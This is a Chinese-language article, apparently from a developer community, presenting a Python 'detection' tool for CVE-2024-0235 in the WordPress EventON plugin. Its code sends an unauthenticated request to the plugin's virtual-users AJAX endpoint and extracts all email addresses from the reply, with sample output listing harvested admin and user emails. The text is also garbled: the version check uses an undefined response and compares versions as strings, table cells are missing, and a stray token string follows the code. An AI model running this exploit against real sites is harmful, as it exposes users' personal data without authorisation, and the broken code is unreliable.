
这是一个专为 WordPress 设计的专业安全检测工具,用于识别 EventON 插件中的严重安全漏洞。该工具能自动检测目标站点是否存在 CVE-2024-0235 漏洞,该漏洞允许未经身份验证的攻击者通过特定的 AJAX 请求获取网站用户的邮箱地址。
admin-ajax.php?action=eventon_get_virtual_users 接口,模拟攻击过程以验证漏洞。--url 参数快速指定检测目标,便于集成到自动化安全扫描流程中。requests 库用于发送 HTTP 请求。CVE-2024-0235.py。requests 库:pip install requests该工具通过命令行运行,必须指定目标 WordPress 站点的 URL。
python CVE-2024-0235.py --url https://example.com或者使用短参数:
python CVE-2024-0235.py -u https://example.com场景一:检测并确认漏洞
当对一个运行旧版 EventON 插件的站点执行检测时,工具会输出类似以下的信息:
Found version: 2.2.0
The site is vulnerable.
Found the following email(s) in the response:
admin@example.com
editor@example.com
subscriber@example.com场景二:检测已修复的站点
如果目标站点的插件已升级到安全版本,工具将给出明确提示:
Found version: 2.2.8
The site is not vulnerable.
An error occurred during POST request: 403 Client Error...注意:对于已修复的站点,POST 请求可能会因为接口权限修正而失败,这是正常现象。
参数 | 类型 | 必填 | 描述 |
|---|---|---|---|
| string | 是 | 指定待检测的 WordPress 站点的基础 URL(例如 |
import requests
def check_version(url, vulnerable_version):
try:
response.raise_for_status()
# 在文件内容中查找 "Stable tag:" 字段来定位版本号
lines = response.text.splitlines()
version = None
for line in lines:
if line.startswith("Stable tag:"):
version = line.split(":")[1].strip()
break
if version is None:
return
print(f"Found version: {version}")
# 检查当前版本是否属于受影响的范围
if version <= vulnerable_version:
print("The site is vulnerable.")
else:
print("The site is not vulnerable.")
except requests.RequestException as e:
print(f"An error occurred: {e}")此模块模拟未经身份验证的请求,触发漏洞接口,并从返回的响应中解析出所有邮箱地址。
import re
import requests
def send_post_request(url):
try:
# 构造存在漏洞的 AJAX 请求 URL
post_url = f"{url}/wp-admin/admin-ajax.php?action=eventon_get_virtual_users"
# 发送 POST 请求,尝试以 '_user_role': 'administrator' 的角色获取用户信息
response = requests.post(post_url, data={'_user_role': 'administrator'})
response.raise_for_status()
# 使用正则表达式从响应文本中提取邮箱地址
response_text = response.text
emails = re.findall(r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}", response_text)
if emails:
print("Found the following email(s) in the response:")
for email in emails:
print(email)
else:
print("No emails found in the response. Response text:")
print(response_text)
except requests.RequestException as e:
print(f"An error occurred during POST request: {e}")
```FINISHED6HFtX5dABrKlqXeO5PUv//lczGmclcIT6EIiI8Vb6XHweNKNJkwxwhShCdj5wIUh
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。